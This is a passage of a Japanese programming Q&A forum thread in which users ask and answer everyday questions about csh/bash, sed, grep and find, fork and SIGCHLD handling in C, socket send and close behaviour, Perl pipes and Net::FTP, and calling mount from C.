>>3070 68user csh,bash環境で確認しました。 ls等のコマンドを実行してから一度ログオフし、再度ログインしました。 そこでホーム配下の.historyおよび.bash_historyを確認しましたが何も書かれておりませんでした。 .historyの権限は644になっております。rootアカウントで実行していますので権限は問題ないかと思います。 何か、出力要否のフラグの設定があるのでしょうか? |
>>3071 児嶋 csh なら、シェル変数 history・savehist がセットされているか確認。 % set | grep hist history 1000 savehist 2000 セットされていなかったら % set history = 1000 % set savehist = 2000 など。 bash なら % set|grep -i hist HISTFILE=/home/user/.bash_history HISTFILESIZE=500 HISTSIZE=500 ここらへんですかねぇ (常用していないのでよくわかりませんが)。 |
>>3072 68user 早速実行してみました。 結果、コマンドラインは出力されましたが、時刻までは出力されませんでした。 何とか、時刻も出力させる方法はないものでしょうか? |
>>3073 児嶋 またまた誤解してました。csh は時刻を記録しないみたいですね。 というわけで、「tcsh を使う」が解でしょうか。 |
はじめまして。 考えても考えてもわからないことが ありますのでご教授下さい。 あるファイルに aaaaああああaaaa いbbbbbbbbbbbい のような行があって、 各行から2バイトの文字だけを 抜き出したいのですがどうすれば できるのでしょうか? イメージとしては上のファイルを このように出力したいのです。 ああああ いい どうしてもわからないので よろしくお願いします。 |
>>3067 68user 私もcompress→uncompressと試してみました。 解凍後のファイルサイズも一致しており、上手くいっているようです。 とても助かりました。ありがとうございます。 実はもうひとつ教えていただきたいことがありまして・・・ cshellで文字列操作は可能なのでしょうか? 下記を解決する方法があれば教えて下さい。 Q1.指定したディレクトリからファイル名を変数に取得。 Q2.上記Q1でAAA_YYYYMMDD.txtと言う名前を取得できたとして、 YYYYMMDDのみを切り出して、shell内で用意した日付と大小を 比較出来るのでしょうか? ご存知の方、教えて下さい(T_T) |
>>3074 68user ありがとうございました。 環境が整ったときにtcshで確認しようと思います。 |
親プロセスで子プロセスをforkするC言語プログラムがあります。 子プロセスは複数作成され、処理が終わると自動的に消滅します。 親プロセスで現在存在している子プロセスの数を把握したいのですが、簡単な方法はありますでしょうか。 子プロセスの数だけ分かれば良いです。 子プロセス数カウンタを設け、forkでインクリメントし、子プロセスの終了を検知してデクリメントする方法もあるかと思いますが、もっと簡単な方法があれば教えていただけますでしょうか。 よろしくお願いします。 |
>>3075 美春 考え方を変えて、日本語以外を除くとするなら % sed 's/[a-zA-Z0-9]//g' < file など。本当に日本語だけを拾いたいなら http://www.din.or.jp/~ohzaki/perl.htm#JP_Match を参考に perl でやるのがよいでしょう。 >>3076 山田 > cshellで文字列操作は可能なのでしょうか? foreach file (AAA_*.txt) set date=`echo $file | sed 's/^AAA_\([0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9]\).*/\1/'` echo '$file -> $date' if ( $date < '20020114' ) then echo $date endif end 仕事や課題を丸投げされると答える側もつまらないです。質問するなら もっとおもしろい質問をしてください。 お金を払っていただけるなら、(お仕事として) つまらん質問にも 答えますけど。 >>3078 koko > 親プロセスで現在存在している子プロセスの数を把握 > したいのですが、簡単な方法はありますでしょうか。 簡単、というか適当な調べ方でよいなら、ps して、親プロセスが 自分であるプロセス一覧を取得、などがあると思いますが、 ps しているプロセスは除くとか余計な処理をしなきゃいけない と思うので、結果的にはあまり簡単じゃないと思います。 - 親がいろんな仕事をするのなら、fork するときに インクリメントして、SIGCHLD を受けるたびに デクリメント (>>2988 を参照) - 親は子の終了を待つだけなら、fork するときに インクリメントして、wait して、wait から戻って きたらデクリメント。 でいいんじゃないでしょうか。 |
>>3079 68user やはり、ご指摘の方法が妥当なところのようですね。 この方法で対応する事とします。 ありがとう御座いました。 |
>>3076 山田 ご回答ありがとうございます。 >仕事や課題を丸投げされると答える側もつまらないです。質問するなら >もっとおもしろい質問をしてください。 了解しました。 先日、ほぼ一日調査してたのですが出来なかったもので。。。 申し訳ないです。。 |
>>3067 68user うまくいきました。 本当にありがとうございました。 perlの方も挑戦してみます。 度々の質問で申し訳ありませんが、 grepの正規表現で"'"(シングルクォーテーション) を出さないようにしたいのですが、 うまくいきません。 grep '[\']' <file> だとダメみたいです。 どうすればよいのでしょうか? 初心者の質問ですみません。 よろしくお願いします。 |
>>3082 美春 grepは行単位で処理するので、シングルクォートを含む行を表示しない、 という処理は可能です。grepに-vをつけると、条件に合わない行のみを 出力するので、 % grep -v "'" filename とすればfilenameファイル内のシングルクォートを含まない行のみを 出力してくれます。 もしシングルクォートを文字単位で削除したいのであれば、 % sed -e "s/'//g" < filename とすればよいと思います。 |
No. 3083 has 感動してしまいました。 manで調べろと怒られるかと 思ったのにご丁寧に ありがとうございました。 |
こんにちは、山田です。 shellにワイルドカードを含んだ引数を文字列として渡したいのですが上手くいきません。 例えば、 aaa.sh zz*.txt や aaa.sh zz\*.txt と渡すとローカルにある対象となるtxtファイルを全て引数としてもってきてしまいます。 aaa.sh zz'\''*'.txt などとしてもダメなようです。 出来ないのでしょうか? 申しわけありませんが、教えて下さい。 |
>>3085 山田 さん、 シェルはなんでしょうか? zsh だと > echo *.txt aaa.txt bbb.txt ccc.txt > echo '*.txt' *.txt のようになりました。 |
>>3086 ふくし 様、ご回答ありがとうございます。 cshです。 やりたいことは、 aaa.sh ZZ*.txt と指定した時にshell内で、 set filename = arg[1]とし、 filenameに"ZZ*.txt"という文字列をセットしたいのです。 |
>>3087 山田 さん 下で書いたつもりだったんですが (^^;;; 引数「ZZ*.txt」全体をシングルクォート '' で囲んだらどうなります? |
>>3086 ふくし 様 >引数「ZZ*.txt」全体をシングルクォート '' で囲んだらどうなります? やはりカレントの該当するファイルが引数に入ってしまいます。 arg[1]の内容が"ZZa.txt ZZb.txt ZZc.txt"というような感じです。 んー、こまっております(^^;) |
>>3089 山田 % cat hoge set filename='*.c' echo $filename % csh -fx hoge set filename=*.c echo *.c a.c b.c c.c d.c というわけで、csh では ただの文字列として set しても、 glob 展開されます。よって、参照するたびに echo "$filename" とダブルクォートで囲むか (面倒)、あるいは set noglob で変数を展開しないようにする、と。 もっとよいのは perl や ruby などに乗り換えることです。 |
>>3089 山田 さん、 知らぬこととはいえ失礼しました。 そんな致命的な非互換があろうとは、、。 シュバング行で #! /bin/sh と書いてしまって、Bourne Shell で書き直すってのは どうでしょうね。 コマンドを手入力するのは csh 系が、 シェルスクリプトを組むのは Bsh 系がいいって聞いた気がします。 (気のせいか? ;;; もっぱら私はちょっとでも論理のあることは Perl にするのでどっちも知りませんが、、。 |
始めましてopといいます。 ・・・いきなり質問で申し訳ないのですが、 掲示板を作っていて コメントを書き込んだ後に更新をすると、 前のコメントが追加されてしまいます これを回避する為にはいったいどんなコードに 書けがよいのでしょうか? 宜しければアドバイスの程お願いします。 |
>>3092 op 書き込み後に↓こんなHTMLを表示すればいいのでは。 <html><head><title>書きこみました。</title><meta http-equiv="Content-Type" content="text/html; charset=Shift_JIS"><meta content=5 http-equiv=refresh></head><body>書きこみが終わりました。<br><br>画面を切り替えるまでしばらくお待ち下さい。<br><br></body></html> 別のページに移動させたければ、 <meta content=5 http-equiv=refresh> ではなく、 <meta content=5;URL=../homepage/index.html http-equiv=refresh> としてみる。 ・・・といった方法ではどうでしょう。 |
以前にBASIC認証の質問のご回答を頂きありがとうございました。 おかげさまで認証を行うサイトへのアクセスが出来るようになりました。 現在はPOSTが行えるクライアントを作成中です。 POST及びchunkedに関する質問ですが、 あるサイトにアクセスした際に Content-type: text/x-hdml; Charset=Shift_JIS Transfer-Encoding: chunked 省略 postmethod="post" postdata="xxxxxxx" 省略 とのレスポンスがあり print SOCKET "POST /$path HTTP/1.1\r\n"; print SOCKET "Host: $host\r\n"; print SOCKET "User-Agent等リクエストヘッダ" $message = "xxxxxxx"; $len = length($message); print SOCKET "Content-length: $len"."\r\n\r\n"; print SOCKET "$message"; にてPOSTを行っているのですが、POSTされません。 原因としてはどういった事が考えられますでしょうか。 chunkedでエンコードされ送られたデータはPOSTする際もchunkedで エンコードして送り返さなければいけないのでしょうか。 もしエンコードしたデータをPOSTしなければいけない場合はchunkedの エンコード方法をお教え下さい。 宜しくお願い致します。 |
>>3093 DQN..cc様 早速のレス有難う御座います♪ なるほど・・・。 確かにこういった処理をする掲示板なんどか見かけた事がありました 本来の意味はこういう事?だったのですね(多分 それと、また質問で恐縮なのですが リフレッシュ以外にも他の方法なんかありますかね?(^^; |
>>3095 op ここの掲示板では書き込みのたびに書き込み内容のMD5を作成し、 キャッシュしておいた最新数件分のMD5と同一の場合には記録しない、 という方式を採用しています。 詳しくはここの掲示板のソースを参照してみてください。 |
>>3094 しん >chunkedでエンコードされ送られたデータはPOSTする際もchunkedで >エンコードして送り返さなければいけないのでしょうか。 そんなことは無いです。 >もしエンコードしたデータをPOSTしなければいけない場合はchunkedの >エンコード方法をお教え下さい。 要するにデータを細切れ(例えば1024byte毎)にして、 サイズ(16進) データ サイズ(16進) データ … 0 とすればいいだけです。(see http://www.studyinghttp.net/rfc_ja/2616/sec3.html#sec3.6.1) で、解決方法ですが、とりあえずHTTP/1.0で送ってみて下さい。 それでも失敗した場合は、とりあえずチャンク周りが原因ではありません。 |
>>3096 has様 MD5ですかぁ〜レベルが一気に上がったような気がしますが、 これからさっそく勉強していきたいと思います(苦笑 ほんとにhasさん、DQN..ccさん有難う御座いました。 |
Linux User という本に5つのディストリビューションが一気に 付録についてるので慌てて買ったんですけど、 よく考えるとコレ(よく考えなくても)CD じゃなくて DVD なんですよね、、。 会社で遊んでるマシンが1個あって、ただし会社のマシン管理のヒトが バックアップしてくれないから、バックアップデバイス兼ねて この機会に DVD-RAM を入れようかなあと思ったんですが、 Linux で読める DVD-RAM ドライブってあるんでしょうかね。 じっさいにはネットワーク経由で Debian(woody)を入れたので、 もう雑誌の付録は必要なくなったんですが、、 |
>>3099 ふくし > Linux で読める DVD-RAM ドライブってあるんでしょうかね。 FreeBSD でも DVD-RAM を読み書きできるくらいですから、 できなくはないでしょうけど、具体的な機種名などは わかりません。 検索すると DVD-RAM 対応カーネルパッチが云々などと いうのが引っかかるのですが、Linux 事情に疎いので それが最新の情報なのか判断できないです。 # てゆーか、DVD-RAM どころか CD-R さえ使ったことが # ないので。 |
findコマンドについて教えてください。 find . -user root とするとカレントディレクトリ以下の 所有者がrootになっているファイルが引っかかるかと思い ます。 それではなくて、所有者がrootになっていないファイルを 引っ掛けたいと思うのですが、その場合findコマンドはどの ように使えばいいでしょうか? 宜しくお願いします。 |
>>3101 bebe > 所有者がrootになっていないファイル % find . ! -user root % find . -false -user root % find . -not -user root などなど。 FreeBSD 4.7-RELEASE のマニュアルには ! と -false と -not が 書いてあるのに % find . -not -name \*.c find: -not: unknown option となってしまう。なぜだろう。ソースを見ると -not は効きそうなんだけれども。 http://www.jp.freebsd.org/cgi/cvsweb.cgi/src/usr.bin/find/option.c http://www.jp.freebsd.org/cgi/mroff.cgi?subdir=man&man=find&dir=jpman-4.7.0%2Fman |
send()について教えてください。 send()にてデータを送信しようとするとperrorにて「Illegal Seek」 と返ってきます。もちろんデータも送信できていません。 この現象の原因と対処法を教えていただけないでしょうか? socketとconnectはできています。 |
>>3103 wataru > Illegal Seek ってことは errno が ESPIPE なのでしょうけれど、手もとにある FreeBSD と Solaris2.6/8 を見ても、send(2) が ESPIPE を返すとは書いてありませんので、 わかりません。 てゆーか、OS 名も、OS のバージョンも、エラーの起こるコード例も提示せず 質問している、あなたという人間がわかりません。 |
ご無礼大変申し訳ありませんでした。現在私はHard Hut Linux2.0 でプログラムを組んでいます。 原因のソースコードは以下の様です。 if ((*s = socket(AF_INET, SOCK_STREAM, 0)) < 0) { // TCPでソケットを開く perror("socket"); s_vMsgSnd(TSK_ER , 71 , 40); return -1; } syslog(LOG_DEBUG,"s = %d",*s); syslog(LOG_DEBUG,"port = %d",port); // 接続に必要な情報を設定する memset((char *) &server, 0, sizeof(server)); server.sin_family = AF_INET; server.sin_addr.s_addr = dst_ip; //<GT_0010> server.sin_port = htons(port); s_vSigTimer(TIMER_START); alarm(TIMEOUT_SEC); if (connect(*s, (struct sockaddr *) &server, sizeof server) < 0) { // サーバとのコネクションを確立する perror("connect"); s_vSigTimer(TIMER_STOP); return -1; //<GT_0003> add } s_vSigTimer(TIMER_STOP); signal(SIGPIPE,ReCNCT); if(usCnctNG == FLAG_ON) return -1; 上記の方法でconnectまで持っていきます。 その後 while(sendbytes < MaxLENGTH){ nSended=send(*s,psz,strlen(psz),0); if(nSended == -1){ perror("SendError:"); s_vMsgSnd(TSK_ER , 71 , 57); s_vSigTimer(TIMER_STOP);return -1; }else if(counttim > 0){ syslog(LOG_DEBUG,"+*+*+*+*time over +*+*+*+*"); s_vSigTimer(TIMER_STOP);return -1; } psz+=nSended; sendbytes+=nSended; } でMaxLENGTHに達するまでデータを送信します。 |
>>3102 68user 解凍有り難うございました。 (1)% find . ! -user root ⇒うまくいきました。 (2)% find . -false -user root (3)% find . -not -user root (2)と(3)は、ダメでした。オプションエラーになってしまいます。 でも、(1)だけでも使えればとりあえずはOKなので、重宝しています。 |
>>3105 wataru > Hard Hut Linux2.0 Embedded ですか (Hut じゃなくて Hat ですね)。この OS の存在を 初めて知りました。 http://www.linux.or.jp/JM/html/LDP_man-pages/man2/send.2.html の内容が正しければ、Linux の send(2) は ESPIPE を返しません。 ただし開発元がカーネルに手を入れている可能性があるので Hard Hat Linux の send(2) は ESPIPE を返すのかもしれません。 マニュアルに send(2) がどういうときに ESPIPE を返すか書いて ありませんか? # まぁライセンスは GPL でしょうから、最悪ソースを読めばわかる # わけで。 あと、 >>3105 wataru のソースを眺めましたが、間違いらしきものは見付けられませんでした。 ただ、TCP では普通 send(2) は使いません。別に使っても構わない はずですが、埋もれているバグを踏まないという意味では、素直に write(2) を使った方がよいと思います。ただ、それで直るかどうかは わかりません。 あとは、マルチスレッド環境なので errno の値が別のスレッドに上書き されたとか…(多分違うと思いますけど)。 |
>>3102 68user > ソースを見ると -not は効きそうなんだけれども。 そっか。 options はソートされていることが前提なのに (bsearch(3) に渡すから)、 { "-nouser",c_nouser,f_nouser,0 }, { "-not",c_simple,f_not,0 }, の順で並んでいるからか。 # http://www.jp.freebsd.org/cgi/cvsweb.cgi/src/usr.bin/find/option.c?rev=HEAD |
ありがとうございます。 大変もうしわけありませんが、もう一つ教えていただけないでしょうか? SSLでの通信も行っているのですが、SSL_write()を使用する際に タイムアウトの時間を設定したいのですが、方法がわかりません。 selectを使えばできるとも聞いたのですが、具体的にどうすればよいでしょうか ソースは以下の様です。 MaxLENGTH = strlen(psz); while(sendbytes < MaxLENGTH){ syslog(LOG_DEBUG,"Send"); nSended = SSL_write(SOKET, psz, strlen(psz)); if(nSended == -1){ perror("SendError:"); s_vMsgSnd(TSK_ER , 71 , 57); return -1; psz+=nSended; sendbytes+=nSended; } return 0; } お手数ですがよろしくお願いします。 |
ESPIPEの件は、また別のところで起こっていたようです。 仰る通り、sendによるものではありませんでした。 お手数をおかけしました。 |
そういや(質問でも答でもなく雑談ですが、いいんですかね) せっかく自分のサーバー立てたんだから、XML::DOM 入れてみよう!(^^) |
>>3110 wataru > ESPIPEの件は、また別のところで起こっていたようです。 しょーもないミスですが、ありがちですね。 >>3109 wataru > SSLでの通信も行っているのですが、SSL_write()を使用する際に > タイムアウトの時間を設定したいのですが、方法がわかりません。 使ったことはありませんが、 http://www.openssl.org/docs/ssl/SSL_CTX_set_timeout.html とか、 http://www.openssl.org/docs/ssl/SSL_get_fd.html でディスクリプタを取得して select とか、あるいは単純に alarm とか、でしょうか。 |
こんばんわ CGIのフォームメールで添付ファイルを送っているのですが 途中で通信を中止すると サーバー上にファイルが残ってしまうということに悩まされています そのフォームメールはQMAILを用いてメールを配信しています POPサーバーはVPOPMAILです 対処法はなにかありますでしょうか? |
>>3113 Japper シグナルをキャッチするという方法もありますが、単にファイルを 消したいだけなら - 送信し終わったらファイル名をリネーム or ファイルの置き場所を 変える (mv) - フォームメールが起動したとき、リネーム前 or 実行途中の置き場所 にあるファイルで、タイムスタンプが古いものを消す。 が単純でよいと思います。 |
親プロセスでFILE* fpに対してファイルをオープンします。 その後、forkで子プロセスを生成し、子プロセスですぐにfclose(fp)を行います。(子プロセスではファイルを使用しない為。) 子プロセスでファイルをfcloseした後、親プロセスでは引き続きfpに対して読み込みや書き込みを行えるでしょうか。 ファイルディスクリプタは、子プロセスで閉じても親プロセスに影響無いようですが、ファイルポインタは共有されている(?)様なので影響がありそうな気がするのですが、いかがでしょうか。 ■知りたい事 1.最終的に親と子でそれぞれfclose(fp)を行う必要があるか。 (開いたものは必要であれば明示的に閉じるようにしたい。) 2.子プロセスでfcloseしても、親プロセスのfpに影響がないか。 よろしくお願い致します。 |
>>3115 koko > 1.最終的に親と子でそれぞれfclose(fp)を行う必要があるか。 > 2.子プロセスでfcloseしても、親プロセスのfpに影響がないか。 fork したときの出力用バッファにデータがたまっていれば、子の fclose でバッファがフラッシュされます。そこで親も fclose すれば 同じ内容のバッファがファイルに出力され、同じ内容のデータが 2回書かれることになります。 なお fclose(3) しなかったとしても、exit(3) すれば結局は fclose されます。 # _exit(2) ならされません。 よって、 1. fflush(fp) 2. fork 3. 子は fclose (*A)、親は引き続き fp を使う がよろしいかと。 *A は、してもしなくても変わりませんが、子で使わないという 意志を明確に示すために fclose(3) した方がよいと僕は思います。 |
>>3115 koko 早速回答頂き、ありがとうございます。 動作を確認しましたところ、fflushしないと二重でデータが書き込まれていました。 fflushして回避する事にします。 もうひとつ、教えて頂けますでしょうか。 FILE*ではなく、ファイルディスクリプタに対してopen、write、closeで同じ事をした場合、ファイルディスクリプタはバッファリングされないのでfflushのような事をしなくても二重書き込みにはならないでしょうか。 実は、FILE*とファイルディスクリプタの両方を使用して同じ事をしている為、ちょっと心配になりました。 実動作を見た限りでは、ファイルディスクリプタは二重で書き込まれていない様なので大丈夫だとは思いますが...。 よろしくお願い致します。 |
>>3316 tomotomo No.3317は>>3316の間違いです。 すいません。 |
>>3117 koko > ファイルディスクリプタはバッファリングされないのでfflushのような事を > しなくても二重書き込みにはならないでしょうか。 されません。低レベル入出力システムコールはバッファリングが ないので大丈夫です。 |
>>3119 68user 回答頂き、ありがとうございます。 安心しました。 |
>>3114 68user ご回答ありがとうございました 大変助かりました さて、findコマンドでファイルを検索をかけていますが 大きいファイル順に並べ替えるなど そのようなことはできないでしょうか? |
C言語のプログラムでsystem関数でプログラムを呼び出します。 引数に存在しないプログラムを指定した場合のsystem関数の戻り値が-1になる時と256になる時があります。 256の時は、上位8ビットが1なのでシェルのexitコードが1のような気がするのですが、何も環境を変えていないのに戻り値が-1や256に変わる理由が思い浮かびません。 何度も繰り返していると-1と256が不規則に交互します。 この情報だけで何か分かりますでしょうか。 よろしくお願いします。 |
>>3121 Japper > さて、findコマンドでファイルを検索をかけていますが > 大きいファイル順に並べ替えるなど 大きいってファイルサイズのことですか? もしそうなら find . -ls | sort +7 とか。 >>3122 koko > system関数の戻り値が-1になる時と256になる時があります。 FreeBSD の system(3) がおっしゃるには The system() function returns the exit status of the shell as returned by waitpid(2), or -1 if an error occurred when invoking fork(2) or waitpid(2). A return value of 127 means the execution of the shell failed. だそうです。 |
>>3123 68user 確かに、私が調べたところでも同じ事が記述されていました。 試しに簡単なmainを作って存在しないコマンドをsystemで呼び出すとsystemの戻りは256(おそらくシェルの返すexitコード=1)だけでした。 -1は戻りませんでした。 256と-1が交互になるのは何か他の原因かもしれません。 もう少し調べてみます。 ありがとうございました。 |
>>3124 koko 256と-1が交互になる件は解決しました。 SIGCHLDのシグナルハンドラを登録してあった為、シグナルハンドラが割り込んだ時のみsystemの戻り値が-1になっていた様です。 SIGCHLDをマスクしたところ、戻り値は256で安定しました。 |
find コマンドについて質問があります。 ファイル名で検索をかけたいと思うのですが、 UNIXだと英数字の大文字・小文字を区別してしまうので、例えば、 「a」で検索した場合、「A」というファイルは引っかからないかと 思います。 大文字・小文字の区別無く引っ掛けたいと思うのですが、その様な オプション又は方法はありますか? |
>>3126 bebe 最近の *BSD find や GNU find なら -iname とか -iregex とか。 そうでない find なら広めにひっかけて grep で絞りましょう。 |
>>3127 68user findコマンドで引っ掛けられたらいいかと思ったのですが、 やっぱり広めに検索をかけて、grep等で絞り込むしかなさそ ですね。 参考になりました。 有り難うございます。 |
始めまして、いつもこちらでは陰ながら勉強させていtだいてます。 perlスクリプトのことでお教えください ただ今企画中のスクリプトにおいて 外部コマンド実行時、そのコマンドプロセスの標準入力へ有る意味大量のデータ(文字列)を渡したいのです しかしこの方法が全く頭に浮かばず情け無い状態であります! PIPEやファイルシステムの基礎を知らない私にご教授下されば幸いです。 |
>>3129 もも open(OUT, "| command"); print OUT "HOGEHOGEHOGEHOGEHOGEHOGEHOGE...."; close(OUT); ってことですか? じゃなくて command の標準入力に渡しつつ、そのコマンドの 出力を受け取りたいなら IPC::Open2 などを使えばできます。 できますが、デッドロック回避などが面倒なので open(OUT, "| command > file"); print OUT "HOGEHOGEHOGEHOGEHOGEHOGEHOGE...."; close(OUT); open(IN, "< file"); while (<IN>){ .... } でいーんではと思う軟弱な私。 |
>>3139 金床 68user様なるほど理解しました前者が出来ればいいのです! 早速試してみます。ありがとうございました! |
親プロセスが複数の子プロセスを生成します。 親は子プロセスの終了をシグナル(SIGCHLD)ハンドラで検知し、waitで子プロセスの終了コード(exitの引数)を取得しています。 同時に、子プロセス数を減算します。(forkで子プロセス数を加算しています。) シグナルハンドラの処理中に、別の子プロセスが終了した場合、SIGCHLDが無視されてしまう。 あるいは、ほぼ同時に複数の子プロセスが終了した場合には、1回しかSIGCHLDのシグナルが発生しないとの記述を見た事があるのですが、正しく全ての子プロセスの終了を検知する方法はありますでしょうか。 以前、頂いたNo. 2988で頂いた以下の方法でこのような懸念が解消されますでしょうか。 SIGCHLDのシグナルハンドラ-------------------------- int pid,status,code; while((pid=waitpid(-1,&status,WNOHANG))>0){ if(WIFEXITED(status)){ code = WEXITSTATUS(status); } } -------------------------------------------------- また、waitpidがシグナルに割り込まれるとエラーになり、errnoにEINTRが設定されると思うのですが、WNOHANGを設定していた場合にはそのような事は無いと考えてしまって良いでしょうか。 よろしくお願いします。 |
>>3132 koko まずは sigaction(2) を読んでください。 # わたしもよくわかってないので読んでいるところ。 |
>> 3133 読んでみます。 |
ソケット(TCP)に関する質問です。 サーバ(UNIX)とクライアント(WinSock)がソケットで通信しています。 サーバがクライアントに対してwriteでデータを送り、クライアントがrecvでそれを読む処理を作成しました。 サーバでwriteし、すぐにソケットそcloseすると、クライアントではrecvできずにエラーになります。(既に接続が破棄されている。) サーバ側でwriteして、すぐにcloseしている事が原因の様です。 writeとcloseの間に1秒程度の時間をおくと、クライアントはrecvできました。 このように、writeとcloseが連続すると相手がrecvできないケースは当然の事なのでしょうか。 それとも、通常はrecvできるはずであり、他に問題がありそうでしょうか。 同じ経験をした事のある方がの意見なども聞けると助かります。 よろしくお願いします。 |
>>3135 koko > 通常はrecvできるはず だと思います。 |
>>3136 68user 回答ありがとうございます。 他の原因を調べてみます。 |
ファイルハンドルについての質問です。 Net::FTPで動的に作り出したCSVをアップしたいのですが、 ローカルにファイルを書き出さずにputする方法を教えてください。 FileHandle.pmを使って無名のファイルハンドラを作って、 そこにCSVを入れて、$FTP->put(FILEHANDLA)でアップさせる とイメージしているのですが よろしくお願いします。 |
>>3135 koko ソケットのクローズはどのAPIを使って(どんなソースコードで)行ってらっしゃいますか? Winsockだと、shutdownを使わずにclosesocketを呼ぶとRSTフラグのセットされたパケットが飛ぶことが あるような覚えがあります。 いずれにせよ、パケットキャプチャしてみると原因に近づけると思います。 |
>>3139 金床 パケットをキャプチャしてみたところ、サーバからクライアントにRSTフラグのセットされたパケットは飛んでいました。 試したケースを整理します。 (1)accept直後にクライアントからの送信データをreadせずに、サーバ側から write、closeすると、クライアントではサーバがwriteしたデータを受信できません。 (2)accept直後にクライアントからの送信データを1バイトでも良いのでreadし、サーバ側からwrite、closeすると、クライアントではサーバがwriteしたデータを受信できます。 (2)では、RSTフラグのセットされたパケットが飛ぶ前に、FIN ACKがセットされたパケットとクライアントで受信させたいパケットが飛んでおり、(1)ではFIN ACKがセットされたパケットとクライアントで受信させたいパケットが飛んでいません。 サーバ側でクライアントの送信電文を1バイト読む事で動きが変わるようなのですが、この辺が何か関係があるのかもしれません。 ちなみに、APIは以下の通りです。 サーバ(UNIX):socket,bind,listen,accept,select,read,write,close クライアント(WIN):socket,bind,connect,listen,recv,send,closesocket サーバ側でのソケットのクローズは、acceptの戻り値を引数にしてcloseをしているのみで、shutdownはしていません。 |
>>3138 ajmj > FileHandle.pmを使って無名のファイルハンドラを作って、 > そこにCSVを入れて、$FTP->put(FILEHANDLA)でアップさせる というのが実現可能なのかどうかはわかりませんが (できない ような気がする)、別解としては 1. put じゃなくて stor("ファイル名") を呼ぶと、Net::FTP::dataconn オブジェクトが返ってくるので、それに対して write する。 2. POSIX::mkfifo で名前付きパイプを作り、fork して、 子が CSV データを作成、名前付きパイプに書き込む。 親は Net::FTP::put に名前付きパイプを渡す。 あたりですかね。1 は perldoc Net::FTP を流し読んだだけで、 できるかどうかわかりません。2 は試していませんが、一応実現は できるでしょう。 >>3140 koko http://www.kt.rim.or.jp/~ksk/wskfaq-ja/newbie.html#howclose ですかね? あと、情報を小出しにせず、最小限まで削ったソースコードを最初に 載せれば、話が早そうなのになぁと思ったりします。 まぁわたしは Winsock 知らないのでアレですが。 |
はじめまして、お世話になります。 kakiと申します。 現在、Linux(Redhat7.1 kernel2.4.2-2)、C言語にて プログラムの作成をしております。 質問なのですが、プログラム上(C言語)からFD、CFなどのデバイスに マウントし、FD、CF内のファイルを取得するということは 可能なのでしょうか? お分かりになる方がおられましたら、ご教授お願いいたします。 |
>>3140 koko やっぱりRSTによる「異常終了」が原因のようですね。 shutdown()を使ってみると幸せになれると思います。 |
>>3142 kaki mount(2) をどうぞ。あるいは DOS フォーマットならば mtools の mtype あたりがお手軽かも。 ところで CF って何ですか? コンパクトフラッシュ? |
>>3144 68user ご回答ありがとうございます。 mountはコンソール上でのやり方は知っているのですが、 gccでコンパイルしたプログラムからも、 使えるということなのでしょうか? また、コンソールで使えるコマンド(# mountや# cdなど)を Cプログラムで使用するにはどのようにするのでしょうか? 実際、やりたいことはプログラムを起動したら、 FD、CF(コンパクトフラッシュ)にマウントし、 ファイルがあればディレクトリにコピーするといったことです。 参考になるサイトや文献などご存知でしたら、 教えてください。 よろしくお願いします。 |
端末の入出力について質問です。 cronで実行されたシェルの出力を端末に出力したり、 端末からの入力を受けたりしたいのですが、どのよう にすればよいのでしょうか? 次のようなやり方ではダメでした。 #ファイル名 a.sh #!/bin/ksh while [ : ] do read INPUT?'?' if [[ $INPUT = 'q' ]]; then exit fi done #スクリプト終了 % a.sh < /dev/pts/13 > /dev/pts/13 2&>1 どなたか教えてください。よろしくお願いします。 |
>>3145 kaki > mountはコンソール上でのやり方は知っているのですが、 > gccでコンパイルしたプログラムからも、 > 使えるということなのでしょうか? mount(1) は内部で mount(2) を呼んでいるだけなので、自分で mount(2) を呼んでやればよいわけです。 mount(1) のマニュアル http://www.linux.or.jp/JM/html/util-linux/man8/mount.8.html mount(2) のマニュアル http://www.linux.or.jp/JM/html/LDP_man-pages/man2/mount.2.html セクションとは? http://www.linux.or.jp/JM/section.html > また、コンソールで使えるコマンド(# mountや# cdなど)を > Cプログラムで使用するにはどのようにするのでしょうか? system(3) を使います。 http://www.linux.or.jp/JM/html/LDP_man-pages/man3/system.3.html なお、cd は海より深い理由により、system(3) からは使えません。 chdir(2) を自分で発行してください。 http://www.linux.or.jp/JM/html/LDP_man-pages/man2/chdir.2.html >>3146 FF > cronで実行されたシェルの出力を端末に出力したり、 > 端末からの入力を受けたりしたいのですが、 おそらく「端末」という用語を誤解されていると思いますが、cron から 実行した場合は端末は割り当てられないので、それは不可能です。 で、あなたが本当は何をしたいかという話になるわけですが、コンソール (マシンにつながっているモニタ) に文字列を出したいんですか? あるいはファイルにあらかじめ入力文字列を書いておいて、ファイルに 出力したいんですか? |
>> 3147 68user >おそらく「端末」という用語を誤解されていると思いますが、cron から >実行した場合は端末は割り当てられないので、それは不可能です。 「端末」は、画面と入力が行える(ディスプレイとキーボード)と認識 してましたが間違っているでしょうか?また、cronに端末が割り当てら れないのは認識していましたが、何らかの方法で端末を割り当てるか、 リダイレクトなどで入出力できないものかと思って質問させていただき ました。 質問時には、コマンドラインでシェルを実行し確認したところ、 readのpromptが適切に表示できないなど若干問題があったので質問 させていただいたのですが、cronで”a.sh < /dev/pts/13 > /dev/pts/13 2&>1”を実行したところ正しく動作しているよう です。現在は、本当にこれでいいのか(コマンドラインではうまく いかなかったので)、動作で注意すべき点はないか(どのデバイス に出力すればよいか)悩んでいるところです。なにかアドバイスが あればよろしくお願いします。 >で、あなたが本当は何をしたいかという話になるわけですが、コンソール >(マシンにつながっているモニタ) に文字列を出したいんですか? コンソールに入力を促す文字列を出力し、ユーザからの入力を受け取り たいのです。(read INPUT?'?'を行いたい) UNIX汎用だとおもったので環境は書かなかったのですが、一応記述します。 NCRのUNIX V(らしい)でK Shellを利用しています。 よろしくお願いします。 |
>>3147 68user 68user さんありがとうございます!! system("mount /mnt/floppy"); system("ls /home"); など実現できました!! ありがとうございました。 |
